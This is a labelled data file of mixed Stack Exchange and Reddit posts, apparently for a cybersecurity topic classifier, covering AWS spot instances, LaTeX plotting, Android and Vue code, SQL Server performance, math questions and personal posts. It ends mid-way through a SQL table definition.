<p>Elastic Beanstalk add support to spot instance since 2019... see:
<a href="https://docs.aws.amazon.com/elasticbeanstalk/latest/relnotes/release-2019-11-25-spot.html" rel="nofollow noreferrer">https://docs.aws.amazon.com/elasticbeanstalk/latest/relnotes/release-2019-11-25-spot.html</a></p>
| 0non-cybersec
| Stackexchange |
How to use scientific tick label axis format with \times as separator and scaled ticks = false?. <p>Why is the line </p>
<pre><code> tick label style={/pgf/number format/.cd,sci,sci generic={mantissa sep=\times,exponent={10^{#1}}}}
</code></pre>
<p>not workint correctly? The exponent is missing. I want to use the tick label number format 1 x 10^n for my y-axis, with \times as seperator.</p>
<p>MWE:</p>
<pre><code>% used PGFPlots v1.14
\documentclass[border=5pt]{standalone}
\usepackage{pgfplots}
\pgfplotsset{compat=1.14}
\begin{document}
\begin{tikzpicture}
\begin{axis}[
scaled y ticks=false,
y tick label style={/pgf/number format/.cd,sci,sci generic={mantissa sep=\times,exponent={10^{#1}}}},
ymin=0,
ymax=1000,
]
\addplot [domain=0:1000] {x};
\end{axis}
\end{tikzpicture}
\end{document}
</code></pre>
<p><a href="https://i.stack.imgur.com/oqCXB.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/oqCXB.png" alt="enter image description here"></a></p>
| 0non-cybersec
| Stackexchange |
Bajirao Mastani Release Date- 18 December 2015. | 0non-cybersec
| Reddit |
How do you reference EditText in alertdialog?. <p>Here is my code:</p>
<pre><code>public void openDialog(){
final AlertDialog.Builder alertDialogBuilder = new AlertDialog.Builder(this);
AlertDialog alert = alertDialogBuilder.create();
final EditText a = (EditText) alert.findViewById(R.id.kekekeke);
LayoutInflater inflater = getLayoutInflater();
alertDialogBuilder.setView(inflater.inflate(R.layout.list_example, null));
alertDialogBuilder
.setMessage("Enter a New Name")
.setPositiveButton("Edit Name", new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int which) {
myRef.child(Utils.object.getKey()).child("sfasf").setValue(a.getText().toString());
}
});
}
</code></pre>
<p>My problem is that I got below error :</p>
<blockquote>
<p>java.lang.NullPointerException: Attempt to invoke virtual method 'android.text.Editable android.widget.EditText.getText()' on a null object reference</p>
</blockquote>
<p>I'm confused because I thought that I already accessed it through the <code>edittext</code>.</p>
| 0non-cybersec
| Stackexchange |
Lemma in the Homotopy Axiom theorem. <p>I have the following Lemma (from Rotman)</p>
<p>Let $X$ be a space and, for $i=0,1$, let $\lambda_i^X:X \to X \times I$ be defined by $x \mapsto (x,i)$. If $H_n \left(\lambda_0^X\right)=H_n\left(\lambda_1^X\right):H_n(x)\to H_n \left(X \times I\right)$, then $H_n(f)=H_n(g)$ whenever $f$ and $g$ are homotopic.</p>
<p>With the proof of this fact, this step is used:</p>
<p>$H_n\left(F\lambda_0^X\right)=H_n(F)H_n(\lambda_0^X)$</p>
<p>Maybe (probably) I am missing something obvious, but it is not immediately clear to me why that is true</p>
| 0non-cybersec
| Stackexchange |
Integration solving problem. <p>A integration is given $$x-x_0 = \pm \int_{0}^{\phi(x)}\frac{d\Phi}{\sqrt\frac{\lambda}{2}(\Phi^2-\frac{m^2}{\lambda})} \tag{1}$$
The author said that, equation (2) can be written from equation (1) by inverting;
$$\Phi(x)= \pm \left(\frac{m}{\sqrt\lambda }\right)\tanh\left[\left(\frac{m}{\sqrt2}\right)(x-x_0)\right] \tag{2} $$</p>
<p>How to solve this integration easily?</p>
<p>Anyone can help?</p>
| 0non-cybersec
| Stackexchange |
How to use spot instance with amazon elastic beanstalk?. <p>I have one infra that use amazon elastic beanstalk to deploy my application.
I need to scale my app adding some spot instances that EB do not support.</p>
<p>So I create a second autoscaling from a launch configuration with spot instances.
The autoscaling use the same load balancer created by beanstalk.</p>
<p>To up instances with the last version of my app, I copy the user data from the original launch configuration (created with beanstalk) to the launch configuration with spot instances (created by me).</p>
<p>This work fine, but:</p>
<ol>
<li><p>how to update spot instances that have come up from the second autoscaling when the beanstalk update instances managed by him with a new version of the app?</p>
</li>
<li><p>is there another way so easy as, and elegant, to use spot instances and enjoy the benefits of beanstalk?</p>
</li>
</ol>
<p><strong>UPDATE</strong></p>
<p>Elastic Beanstalk add support to spot instance since 2019... see:
<a href="https://docs.aws.amazon.com/elasticbeanstalk/latest/relnotes/release-2019-11-25-spot.html" rel="nofollow noreferrer">https://docs.aws.amazon.com/elasticbeanstalk/latest/relnotes/release-2019-11-25-spot.html</a></p>
| 0non-cybersec
| Stackexchange |
Christmas was scary in Yugoslavia. | 0non-cybersec
| Reddit |
TIL that many people in India, despite having working toilets at home, continue to go out into the open because they believe that it is more sanitary to defecate far from home.. | 0non-cybersec
| Reddit |
How do I disable the sleep button on my keyboard in U12.04?. <p>Hello I have read Q and A : <a href="https://askubuntu.com/questions/115333/how-do-i-disable-the-sleep-button-on-my-keyboard/115423#115423">How do I disable the sleep button on my keyboard?</a></p>
<p>but in Ubuntu 12.04 64bit has </p>
<p><code>gsettings set org.gnome.settings-daemon.plugins.power button-sleep "nothing"</code></p>
<p><code>gsettings set org.gnome.settings-daemon.plugins.power button-hibernate "nothing"</code></p>
<p>NO EFFECT.</p>
<p>After pressing sleep button on keyboard, PC goes immediately to sleep (STR suspend to ram).
Log out->in doesn't help.</p>
<p>Any Ideas ?</p>
| 0non-cybersec
| Stackexchange |
Motivation behind theta function calculation in Diamond & Shurman. <p>I am reading section 1.2 of <em>A First Course in Modular Forms</em>. Let $q=e^{2\pi i\tau}$, where $\tau\in\cal H$ is assumed to be in the upper half plane, and define $\theta(\tau)=\sum_{n\in\Bbb Z}q^{n^2}$. Clearly $\theta(\tau+1)=\theta(\tau)$. The text states we will use Poisson summation to prove $\theta(-\frac{1}{4\tau})=\sqrt{-2i\tau}\theta(\tau)$ (using the principal branch of $\sqrt{}$) later in the book. Let ${\rm GL}_2(\Bbb Z)$ act on $\cal H$ by $[\begin{smallmatrix}a&b\\c&d\end{smallmatrix}]\tau=\frac{a\tau+b}{c\tau+d}$. Even though we can normalize $[\begin{smallmatrix}0&-1\\4&0\end{smallmatrix}]$ to be in ${\rm SL}_2(\Bbb Z)$ the relation is not consonant with the modular form transformation law, since $[-2i~0]$ is not the bottom row. So the book says to right-conjugate $[\begin{smallmatrix}1&-1\\0&1\end{smallmatrix}]$ by $[\begin{smallmatrix}0&-1\\4&0\end{smallmatrix}]$ and then compute</p>
<p>$$\theta([\begin{smallmatrix}1&0\\4&1\end{smallmatrix}]\tau)=\theta([\begin{smallmatrix}0&-1\\4&0\end{smallmatrix}]^{-1}[\begin{smallmatrix}1&-1\\0&1\end{smallmatrix}][\begin{smallmatrix}0&-1\\4&0\end{smallmatrix}]\tau)=\sqrt{1+4\tau}\theta(\tau)$$</p>
<p>using the already-known relations. Note the computation uses the fact that $[\begin{smallmatrix}0&-1\\4&0\end{smallmatrix}]^{-1}$ and $[\begin{smallmatrix}0&-1\\4&0\end{smallmatrix}]$ have the same action, as the former is a scalar multiple of the latter and scalar matrices act trivially. Therefore this successfully obtains the form $\theta([\begin{smallmatrix}a&b\\c&d\end{smallmatrix}]\tau)=(c\tau+d)^k\theta(\tau)$ for some $[\begin{smallmatrix}a&b\\c&d\end{smallmatrix}]\in{\rm SL}_2(\Bbb Z)$, $k\in\Bbb Q$.</p>
<p>My question is, what is the motivation for the conjugation? Obviously it works, but I'd never have thought of it on my own, so I'm wondering what the "source" for this trick is. Or, could one reason one's way to this conjugation as the correct route to go from scratch?</p>
| 0non-cybersec
| Stackexchange |
How to find $y$ given $y^a \equiv b \ mod \ p$ and $a,b,p$?. <p>As I understand it the discrete logarithm problem is about identifying $x$ given $a^x \equiv b \ mod \ p$ and $a,b,p$.</p>
<p>While researching this I have become interested in the inverted problem, i.e. identifying $y$ given $y^a \equiv b \ mod \ p$ and $a,b,p$; e.g. $y^4 \equiv 7 \ mod \ 23$.</p>
<p>I believe this is simpler but am not clear on how to solve it. Any clarification or explanation would be appreciated.</p>
| 0non-cybersec
| Stackexchange |
Hellblade: Senua's Sacrifice has reached 1 million sales. | 0non-cybersec
| Reddit |
Measure Theory: Convergence of Random Variables. <p>I just came out of my midterm exam of my measure theory course, and I could not answer the following question.</p>
<p>"Let $(\Omega,F,P)$ be a probability space and consider the following random variables $Z,X_1,X_2,\dots$, all in $L^2(\Omega,F,P)$. If </p>
<p>$\lim_\limits{{n\to \infty}}E[(X_n-Z)^2]=0$</p>
<p>Show that:</p>
<ol>
<li>$E[X_n] \rightarrow E[Z]$</li>
<li>$E[|X_n|] \rightarrow E[|Z|]$</li>
<li>$E[(X_n)^2] \rightarrow E[(Z)^2]$"</li>
</ol>
<p><strong>My attempt</strong></p>
<p>From the question we can see that it follows:</p>
<p>$\lim_\limits{{n\to\infty}}E[(X_n)^2]$ = 2
$\lim_\limits{{n\to\infty}}E[X_nZ]$-$E[(Z)^2]$</p>
<p>So, if we show that $\mbox{Lim}_{n\rightarrow\infty}E[X_nZ]= E[(Z)^2]$, then part (3) could be solved. However, I could not successfully prove this.</p>
<p>Parts (1) and (2) were less clearer to me. I tried using the fact that if the random variables belong to $L^2$, then they will also be in $L^1$.</p>
<p>Thanks for the responses, I just really wanted to know the answer!</p>
| 0non-cybersec
| Stackexchange |
How to use spot instance with amazon elastic beanstalk?. <p>I have one infra that use amazon elastic beanstalk to deploy my application.
I need to scale my app adding some spot instances that EB do not support.</p>
<p>So I create a second autoscaling from a launch configuration with spot instances.
The autoscaling use the same load balancer created by beanstalk.</p>
<p>To up instances with the last version of my app, I copy the user data from the original launch configuration (created with beanstalk) to the launch configuration with spot instances (created by me).</p>
<p>This work fine, but:</p>
<ol>
<li><p>how to update spot instances that have come up from the second autoscaling when the beanstalk update instances managed by him with a new version of the app?</p>
</li>
<li><p>is there another way so easy as, and elegant, to use spot instances and enjoy the benefits of beanstalk?</p>
</li>
</ol>
<p><strong>UPDATE</strong></p>
<p>Elastic Beanstalk add support to spot instance since 2019... see:
<a href="https://docs.aws.amazon.com/elasticbeanstalk/latest/relnotes/release-2019-11-25-spot.html" rel="nofollow noreferrer">https://docs.aws.amazon.com/elasticbeanstalk/latest/relnotes/release-2019-11-25-spot.html</a></p>
| 0non-cybersec
| Stackexchange |
Understanding averaging of symplectic matrices via Haar measure. <p>In McDuff and Salamon's <em>Intro. to Symplectic Topology</em> (2nd edition), there's a proof that $U(n)$ is a maximal compact subgroup of $Sp(2n)$ which I'm trying to understand. The proof uses the Haar measure to average over matrices in a way that's unclear to me. The statement I'm having difficulties with is the following: Let $G\subset Sp(2n)$ be a compact subgroup. There exist a symmetric and positive definite matrix $P\in Sp(2n)$ such that $$\Psi^TP\Psi=P, \forall\Psi\in G$$
According to the authors, such a matrix can be obtained by averaging the matrices $\Psi^T\Psi$ over $\Psi\in G$ using the Haar measure $C(G,\mathbb R)\rightarrow \mathbb R$ for a compact Lie group.</p>
<p>So, the question is, in its broadest sense, how to understand the averaging process here? (Bear with me, clearer question follows)</p>
<p>Here are some details on my progress in making sense of this before submitting this question: So far I have came across these <a href="http://www.math.ethz.ch/~salamon/PREPRINTS/liegroup.pdf" rel="nofollow">Notes on Compact Lie Groups</a> by Salamon which detail the construction of said Haar measure. This does not explain how to obtain a measure, in the measure theoretic sense, from the functional built in Salamon's notes. So, further searching lead me to Royden's <em>Real Analysis</em> (3rd edition), where he explains in detail how to build a measure out of a functional (<a href="http://en.wikipedia.org/wiki/Daniell_integral" rel="nofollow">Daniell Integral</a>) in such a way that the integral over the measure agrees with the functional. All of this is fine and well, but ultimately remains in the realm of functionals, where I'm looking for a process that'll result in the matrix $P$ as above.</p>
<p>In a more intuitive manner, what I gather should happen is somewhere along these lines: Let $M:C(G,\mathbb R)\rightarrow\mathbb R$ be a Haar measure following Salamon's notations, and let $\mu$ be the measure corresponding to the functional $M$, constructed like in Royden. Put $P=\int_G \Phi^T\Phi\operatorname{d}\mu$, then we can calculate that $$\Psi^TP\Psi=\Psi^T\int_G\Phi^T\Phi\operatorname{d}\mu\Psi=\int_G\Psi^T\Phi^T\Phi\Psi\operatorname{d}\mu=\int_G\left(\Phi\Psi\right)^T\Phi\Psi\operatorname{d}\mu=\int_G \Phi^T\Phi\operatorname{d}\mu=P$$where the second to last transition follows from $\mu$ being right invariant.</p>
<p>So, <strong>now my question boils down to this</strong> - In light of all that's said, seeing as the Daniell integral $M$ assigns a real number to a function, where we need to assign a matrix to a function, how can $\int_G\Phi^T\Phi\operatorname{d}\mu$ be understood?</p>
<p>Also, I'm guessing the second transition in the calculation follows from some means of limiting and applying the equation to the limits. If I'm mistaken, I would very much appreciate clarification on that as well, assuming the entire maneuver makes sense.</p>
<p><strong>Note</strong>: I am aware of an errata for this edition which fixes the error here, namely, $P$ is not guaranteed to be symplectic, but that's besides the point.</p>
| 0non-cybersec
| Stackexchange |
Rolling Cube (OC). | 0non-cybersec
| Reddit |
Optimization with Integral Inequality constraint and nonnegativity conditions. <p>Trying to solve this:</p>
<p>$$\min TC(A,a,q)= \int_M f(A,a,q)\,dx\, dy$$
$$s.t.$$
$$a\le\int_M g_i(A,q)\,dx\,dy$$
$$q\le \text{constant}$$
$$A,a,q\ge0$$</p>
<p>$(x,y)$ is omitted in $A(x,y), a(x,y), q(x,y)$ for simplicity.</p>
<p>I would like to find corner and interior solutions. q is separable in the objective function.</p>
<p>I have looked at calculus of variations but I could not find anything about nonnegativity and inequality integral constraints.</p>
| 0non-cybersec
| Stackexchange |
Interesting.... | 1cybersec
| Reddit |
CarTunes music player free today in the app store. | 0non-cybersec
| Reddit |
Husband's masturbating is ruining our relationship. Let me start off by saying I do not have problems with porn or masturbation. In the abstract, or in my husband. The problem is selfishness and me feeling neglected. We have sex much less frequently than we used to, and I'm unsatisfied.
I almost always initiate sex, and often get turned down (maybe 50% of the time). FWIW, I hardly ever (never?) used to get turned down (and no, there is no difference physically in either of us since this changed). Also, I think there has been once (maybe twice) when I have turned him down for sex in our entire relationship, and it has been a long, long time.
The most common excuse is he's tired. Great, we're all tired. But I'm willing to put in the time and effort for him. Furthermore, sex takes **a lot longer** when he's been masturbating recently. It just does. So maybe sex wouldn't be so exhausting if it didn't take 45 minutes, you know?
And I have multiple times offered him blowjobs if he's tired and just wants to relax -- no, he doesn't want that (and yes, I am good at them).
Also, several times in the last few weeks I have caught him masturbating. Not because I go looking to catch him but because he's doing it out in the open, apparently under the assumption I never walk into the living room. To say this hurts would be an understatement. It's also incredibly mortifying for me -- it makes me feel like I'm spying on him or sneaking around when I'm just walking around my own house.
Between getting rejected for sex, and knowing for a fact he masturbates while I'm home without even thinking to ask if I'm down to have sex, give oral, hell even masturbate at the same time as him is demolishing my self esteem. I feel unattractive, and insecure in my abilities.
The last two times we had sex I felt so incredibly worthless. It took him a long time to finish and made me feel incredibly inadequate. We even talked about how it took a long time, and now I fucking just walked in on him masturbating again. I don't mind longer sex sessions (in fact, I enjoy them), but knowing it's taking an unusually long time and knowing *why* feels awful. We've talked about this very explicitly in the past, so I really don't know what to say anymore. I don't want to control him/ what he does with his body, but I also can't feel like this the rest of my life.
I'm not even really sure why I'm posting here. Just to rant, I guess. I have no one I feel like I can talk to about this.
Edit: It's been about 6 weeks since I wrote this. I'm not doing a new post, but I figured if anyone ever came back to see what happened they can read this, but I don't want the attention of a new post. It happened a few more times, and one night (already a bad night for unrelated reasons) it happened and I just walked out into the living room right after he finished and asked him if he was happy (he is), and told him I wanted to go to counseling because I'm not. He was in utter shock. Then I immediately asked if he thought I was attractive, and he didn't answer for a few seconds, and then started trying to stutter out yes. I could tell he meant no (and he later said no). I have never been so hurt and humiliated. We had a very long, very difficult, very emotional talk that night and EVERYTHING was discussed, and for the last two weeks we've had really good communication. He's extremely sorry for hurting me, and we've continued to move forward to repair some of the damage. He says he's taking a break from masturbating (hasn't done it for 2 weeks since the talk), and I am continuing to rebuild my self-esteem. It was a very, very painful discussion, but I honestly feel like we are being more open with each other than we've ever been before. Sometimes I wish I'd never asked because I don't think I can ever un-hear him saying he doesn't find me physically that attractive, but I think if we are going to beat the odds and stay married for the rest of our lives we need total honesty. We have a lot of love for each other, and that has really been carrying us through the rough times. The day or two immediately after this discussion were devastating because I actually considered divorce for the first time, but now I feel more secure in our relationship than I ever have before, and we've actually grown closer and more open than we were before. | 0non-cybersec
| Reddit |
Start an instance of Chrome without extensions or user preferences. <p>Is it possible to start Google Chrome in a mode that doesn't have any extensions or bookmarks (or any other preferences). In other words, start it like it was a fresh install (but without deleting the current install). </p>
<p>I'd like to use Chrome in a screen capture but I don't want my extensions and bookmarks visible. I also don't want to be running in Incognito Mode.</p>
| 0non-cybersec
| Stackexchange |
Can anyone recommend coding standards for TSQL?. <p>We've long had coding standards for our .Net code, and there seem to be several reputable sources for ideas on how to apply them which evolve over time.</p>
<p>I'd like to be able to put together some standards for the SQL that is written for use by our products, but there don't seem to be any resources out there on the consensus for what determines well written SQL?</p>
| 0non-cybersec
| Stackexchange |
One of my players, a LG cleric, convinced a kobold to sell him a slave at a discount (so that they could free her) by promising to buy more if he liked her. Then to really sell it he gave the slaver his contact information at the Abby.. I fully intend to have said kobold send slave advertisements to him _constantly_. The chief priest is going to intercept every single one and think that he's just trying to buy a bunch of slaves. | 0non-cybersec
| Reddit |
Extension of 1991 IMO question. <p>Problem 6 in the 1991 IMO asks for a bounded real sequence $x_n$ such that for $i\ne j$ we have </p>
<p>$|x_i-x_j|\cdot |i-j|^{1+\epsilon} \geq r$ for some $r>0$</p>
<p>The solution is to make $x_n$ the fractional part of $\sqrt{2}\cdot n$ which in fact allows $\epsilon=0$.</p>
<p>But what if we replaced $1+\epsilon$ with $1-\epsilon$ ? Does such a sequence exist? And has its existence something to do with Diophantine approximations?</p>
| 0non-cybersec
| Stackexchange |
Pops flexing saint laurent... Maybe one day he'll actually buy it. | 0non-cybersec
| Reddit |
soo i need the files from this website its a poem website i know but i have amazing work on there i have my id number given by the webpage their is an archive but i dont exactly know what im doing below i will leave the link but it just redirects you to the cancer that is mtv who bought the place. | 1cybersec
| Reddit |
Python: Add a column to numpy 2d array. <p>I have a 60000 by 200 numpy array. I want to make it 60000 by 201 by adding a column of 1's to the right. (so every row is [prev, 1])
Concatenate with axis = 1 doesn't work because it seems like concatenate requires all input arrays to have the same dimension.
How should I do this? I can't find any existing useful answer, and most of the answers about this were written a few years ago so things might be different now. </p>
| 0non-cybersec
| Stackexchange |
In a village in India's poorest state, Bihar, farmers are growing world record amounts of rice – with no GM, and no herbicide. | 0non-cybersec
| Reddit |
How to use spot instance with amazon elastic beanstalk?. <p>I have one infra that use amazon elastic beanstalk to deploy my application.
I need to scale my app adding some spot instances that EB do not support.</p>
<p>So I create a second autoscaling from a launch configuration with spot instances.
The autoscaling use the same load balancer created by beanstalk.</p>
<p>To up instances with the last version of my app, I copy the user data from the original launch configuration (created with beanstalk) to the launch configuration with spot instances (created by me).</p>
<p>This work fine, but:</p>
<ol>
<li><p>how to update spot instances that have come up from the second autoscaling when the beanstalk update instances managed by him with a new version of the app?</p>
</li>
<li><p>is there another way so easy as, and elegant, to use spot instances and enjoy the benefits of beanstalk?</p>
</li>
</ol>
<p><strong>UPDATE</strong></p>
<p>Elastic Beanstalk add support to spot instance since 2019... see:
<a href="https://docs.aws.amazon.com/elasticbeanstalk/latest/relnotes/release-2019-11-25-spot.html" rel="nofollow noreferrer">https://docs.aws.amazon.com/elasticbeanstalk/latest/relnotes/release-2019-11-25-spot.html</a></p>
| 0non-cybersec
| Stackexchange |
Drag external events in Vue FullCalendar SFC. <p>I'm trying to make an option to drag calendar events from an external list to my fullcalendar based on <a href="https://codepen.io/BrockReece/pen/LOPwyK?editors=0010" rel="nofollow noreferrer">this codepen</a> work in my vue/laravel SFC. I got the external events to be draggable but I can't drop them in the the calendar. What should I be doing different here?</p>
<p>I don't get any console errors, plus I'm loading jQuery with webpack so there shouldn't be any multiple instance of JQuery.</p>
<p>My code:
Home.vue</p>
<pre><code><template>
<div class="home">
<div class="calendar_wrap">
<full-calendar :config="config" :events="agenda_items" @event-selected="eventClick"/>
</div>
<div class="sidebar">
<div class="sidebar__header">
<button @click="collapse" class="close" aria-label="Close menu" type="button">
<svg width="20" height="20" viewBox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M6.66666 4L13.3333 10.6667L6.66666 17.3333" stroke="#B3ECFF" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>
</svg>
</button>
<h2>Taken</h2>
<div class="right">
<button class="info">
<svg width="15" height="15" viewBox="0 0 15 15" fill="none" xmlns="http://www.w3.org/2000/svg">
<circle cx="7.5" cy="7.5" r="7.5" fill="#B3ECFF"/>
<path d="M7.50839 12.072C7.24439 12.072 7.02439 12 6.84839 11.856C6.68039 11.712 6.59639 11.5 6.59639 11.22V6.84C6.59639 6.56 6.68439 6.348 6.86039 6.204C7.03639 6.06 7.25239 5.988 7.50839 5.988C7.76439 5.988 7.97639 6.06 8.14439 6.204C8.32039 6.348 8.40839 6.56 8.40839 6.84V11.22C8.40839 11.5 8.32039 11.712 8.14439 11.856C7.97639 12 7.76439 12.072 7.50839 12.072ZM7.50839 5.028C7.18839 5.028 6.93639 4.948 6.75239 4.788C6.56839 4.62 6.47639 4.396 6.47639 4.116C6.47639 3.836 6.56839 3.616 6.75239 3.456C6.93639 3.296 7.18839 3.216 7.50839 3.216C7.82039 3.216 8.06839 3.3 8.25239 3.468C8.44439 3.628 8.54039 3.844 8.54039 4.116C8.54039 4.396 8.44839 4.62 8.26439 4.788C8.08039 4.948 7.82839 5.028 7.50839 5.028Z" fill="white"/>
</svg>
</button>
<button class="refresh" @click="refresh">
<svg width="18" height="14" viewBox="0 0 18 14" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M3.46343 5.65018C2.92992 7.61243 3.43178 9.79171 4.97355 11.3335C7.14754 13.5075 10.6035 13.6156 12.9011 11.6579" stroke="#B3ECFF" stroke-width="1.5" stroke-miterlimit="10" stroke-linecap="round" stroke-linejoin="round"/>
<path d="M5.43711 7.31577L3.46046 4.94736L1.48975 7.31577" stroke="#B3ECFF" stroke-width="1.5" stroke-miterlimit="10" stroke-linecap="round" stroke-linejoin="round"/>
<path d="M14.4363 8.39914C14.9698 6.43688 14.4679 4.25761 12.9262 2.71584C10.6384 0.428053 6.93091 0.428053 4.64764 2.71584" stroke="#B3ECFF" stroke-width="1.5" stroke-miterlimit="10" stroke-linecap="round" stroke-linejoin="round"/>
<path d="M12.5424 7.3158L14.519 9.68421L16.4897 7.3158" stroke="#B3ECFF" stroke-width="1.5" stroke-miterlimit="10" stroke-linecap="round" stroke-linejoin="round"/>
</svg>
</button>
</div>
</div>
<div class="sidebar__content">
<h2>Taken</h2>
<p>In dit venster vind je het huiswerk dat de docent heeft ingevoerd. Zet de taken op volgorde en plan ze in.</p>
<router-link class="button primary expanded" to="/newitem">Nieuw agenda item</router-link>
<div id="external_events">
<div class="fc-event">
<div class="type">HW</div>
<div class="class">Engels</div>
<div class="date">
<span class="date__day">3</span>
<span class="date__month">mei</span>
</div>
</div>
<div class="fc-event">
<div class="type">HW</div>
<div class="class">Aardrijkskunde</div>
<div class="date">
<span class="date__day">5</span>
<span class="date__month">mei</span>
</div>
</div>
<div class="fc-event">
<div class="type">HW</div>
<div class="class">Engels</div>
<div class="date">
<span class="date__day">3</span>
<span class="date__month">mei</span>
</div>
</div>
</div>
</div>
</div>
</div>
</template>
<script>
import { FullCalendar } from 'vue-full-calendar'
import 'fullcalendar/dist/locale/nl'
import navHeader from '../components/navHeader.vue'
// import mSidebar from '../components/mSidebar.vue'
import Swal from 'sweetalert2'
export default {
components: {
FullCalendar,
navHeader,
// 'sidebar': mSidebar,
},
data() {
return {
agenda_items: [],
config: {
locale: 'nl',
minTime: "06:00:00",
maxTime: "22:00:00",
editable: true,
dropabble: true,
dragRevertDuration: 0,
nowIndicator: true,
height: 'parent',
allDaySlot: false,
header: {
left: 'menu title',
center: '',
right: 'prev next today month,agendaWeek,agendaDay'
},
customButtons: {
menu: {
text: ' ',
click: function() {
$( ".off-canvas" ).toggleClass("active");
$( "#main" ).toggleClass("active");
}
}
},
views: {
week: {
columnHeaderFormat: "dddd D",
},
month: {
columnHeaderFormat: "dddd",
}
},
eventRender(event, element) {
element.find('.fc-content').append('<i class="delete fas fa-trash-alt"></i> <span class="description">' + event.description + '</span>');
element.find(".delete").click(function() {
Swal.fire({
title: 'Weet je het zeker?',
text: "Je staat op het punt dit item te verwijderen",
type: 'warning',
showCancelButton: true,
confirmButtonColor: '#3085d6',
cancelButtonColor: '#d33',
confirmButtonText: 'Ja, verwijderen'
}).then((result) => {
if (result.value) {
$('#calendar').fullCalendar('removeEvents', event._id);
axios.delete('/agenda_items/'+ event.id)
Swal.fire(
'Verwijderd!',
'De afspraak is verwijderd.',
'success'
)
}
})
});
},
drop() {
// remove the element from the "Draggable Events" list
$(this).remove();
},
eventDragStop: function( event, jsEvent, ui, view ) {
var isEventOverDiv = function(x, y) {
var external_events = $( '#external_events' );
var offset = external_events.offset();
offset.right = external_events.width() + offset.left;
offset.bottom = external_events.height() + offset.top;
// Compare
if (x >= offset.left
&& y >= offset.top
&& x <= offset.right
&& y <= offset .bottom) { return true; }
return false;
}
if(isEventOverDiv(jsEvent.clientX, jsEvent.clientY)) {
$('#calendar').fullCalendar('removeEvents', event._id);
var el = $( "<div class='fc-event'>" ).appendTo( '#external_events_listing' ).text( event.title );
el.draggable({
zIndex: 999,
revert: true,
revertDuration: 0
});
el.data('event', { title: event.title, id :event.id, stick: true });
}
},
},
}
},
mounted() {
this.get_agenda_items();
this.makeDraggable();
},
methods: {
get_agenda_items() {
window.axios.get('/agenda_items').then(({ data }) => {
// console.log(data);
this.agenda_items = data;
});
},
refresh() {
this.get_agenda_items();
$('.refresh').toggleClass("rotate");
},
makeDraggable() {
// initialize the external events
$('#external_events').sortable()
var elements = $('#external_events .fc-event')
elements.each(function() {
// store data so the calendar knows to render an event upon drop
$(this).data('event', {
title: $.trim($(this).text()), // use the element's text as the event title
stick: true // maintain when user navigates (see docs on the renderEvent method)
});
// make the event draggable using jQuery UI
// $(this).draggable({
// zIndex: 999,
// revert: true, // will cause the event to go back to its
// revertDuration: 0 // original position after the drag
// });
});
},
eventClick(item) {
var data = item.id
this.$router.push({ path: '/agendaitem/' + data });
}
},
}
</script>
</code></pre>
<p>app.js</p>
<pre><code>
/**
* First we will load all of this project's JavaScript dependencies which
* includes Vue and other libraries. It is a great starting point when
* building robust, powerful web applications using Vue and Laravel.
*/
import jquery from 'jquery'
import 'jquery-ui/ui/widgets/draggable';
import 'jquery-ui/ui/widgets/sortable';
import 'foundation-sites/dist/js/foundation'
require('./bootstrap');
import 'es6-promise/auto'
import axios from 'axios'
import Vue from 'vue'
import VueAuth from '@websanova/vue-auth'
import VueAxios from 'vue-axios'
import VueRouter from 'vue-router'
import Index from './Index'
import auth from './auth'
import router from './routes'
// Set Vue globally
window.Vue = Vue
// Create eventbus
Vue.prototype.$eventBus = new Vue()
// Set Vue router
Vue.router = router
Vue.use(VueRouter)
// Set Vue authentication
Vue.use(VueAxios, axios)
axios.defaults.baseURL = `${process.env.MIX_APP_URL}/api`
Vue.use(VueAuth, auth)
// Load Index
Vue.component('index', Index)
window.$ = window.jQuery = jquery
/**
* The following block of code will recursively scan this directory for the Vue
* components and automatically register them with their "basename".
*
* Eg. ./components/ExampleComponent.vue -> <example-component></example-component>
*/
const files = require.context('./', true, /\.vue$/i)
files.keys().map(key => Vue.component(key.split('/').pop().split('.')[0], files(key).default))
/**
* Next, we will create a fresh Vue application instance and attach it to
* the page. Then, you may begin adding components to this application
* or customize the JavaScript scaffolding to fit your unique needs.
*/
const app = new Vue({
router,
el: '#app'
});
</code></pre>
| 0non-cybersec
| Stackexchange |
Art from Hell . | 0non-cybersec
| Reddit |
Empty result takes longer with all columns included. <p>I'm executing a query every 1 second and most of the time it returns no results (SQL generated by Entity Framework):</p>
<pre><code>SELECT TOP (5)
[Extent1].[ID] AS [ID],
***30 more columns***
FROM ParentTable AS [Extent1]
WHERE ([Extent1].[ImageTaken] = 1) AND ([Extent1].[ImageProjected] <> 1) AND ( EXISTS (SELECT
1 AS [C1]
FROM ChildTable AS [Extent2]
WHERE [Extent1].[ID] = [Extent2].[Parent_ID]
))
</code></pre>
<p>The above query take about 400ms. However, if I exclude all the columns except ID from the result it takes about 100ms.</p>
<p>Why is the execution time so different if there are no results? I looked at the execution plans and they look identical (I've never looked at an execution plan before today, so take that with a grain of salt).</p>
<p>I'd like to include all the columns, but obviously I only need them if there is a result.</p>
<p><strong>Actual Execution Plans</strong></p>
<p><a href="https://www.brentozar.com/pastetheplan/?id=SJl-Q0XVM" rel="nofollow noreferrer">All Columns</a></p>
<p><a href="https://www.brentozar.com/pastetheplan/?id=HJqRf07NG" rel="nofollow noreferrer">Id Column Only</a></p>
<p><strong>EDIT</strong>
More details: </p>
<ul>
<li>I'm using SQL Server Express 2017</li>
<li>The SQL Server is on my local machine</li>
<li>The parent table has ~1 million rows</li>
<li>The child table has ~40k rows</li>
</ul>
<p><strong>Parent Table Definition</strong></p>
<pre><code>
USE [DB]
GO
/****** Object: Table [dbo].[Inspection_CapturedImageQueueItem] Script Date: 1/8/2018 6:23:45 PM ******/
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE TABLE [dbo].[Inspection_CapturedImageQueueItem](
[ID] [INT] IDENTITY(1,1) NOT NULL,
[X] [FLOAT] NOT NULL,
[Y] [FLOAT] NOT NULL,
[Z] [FLOAT] NOT NULL,
[rX] [FLOAT] NOT NULL,
[rY] [FLOAT] NOT NULL,
[rZ] [FLOAT] NOT NULL,
[Priority] [INT] NOT NULL,
[TimeTakenUTC] [datetime] NOT NULL,
[ImageTaken] [bit] NOT NULL,
[PartProgramInstance_Id] [INT] NULL,
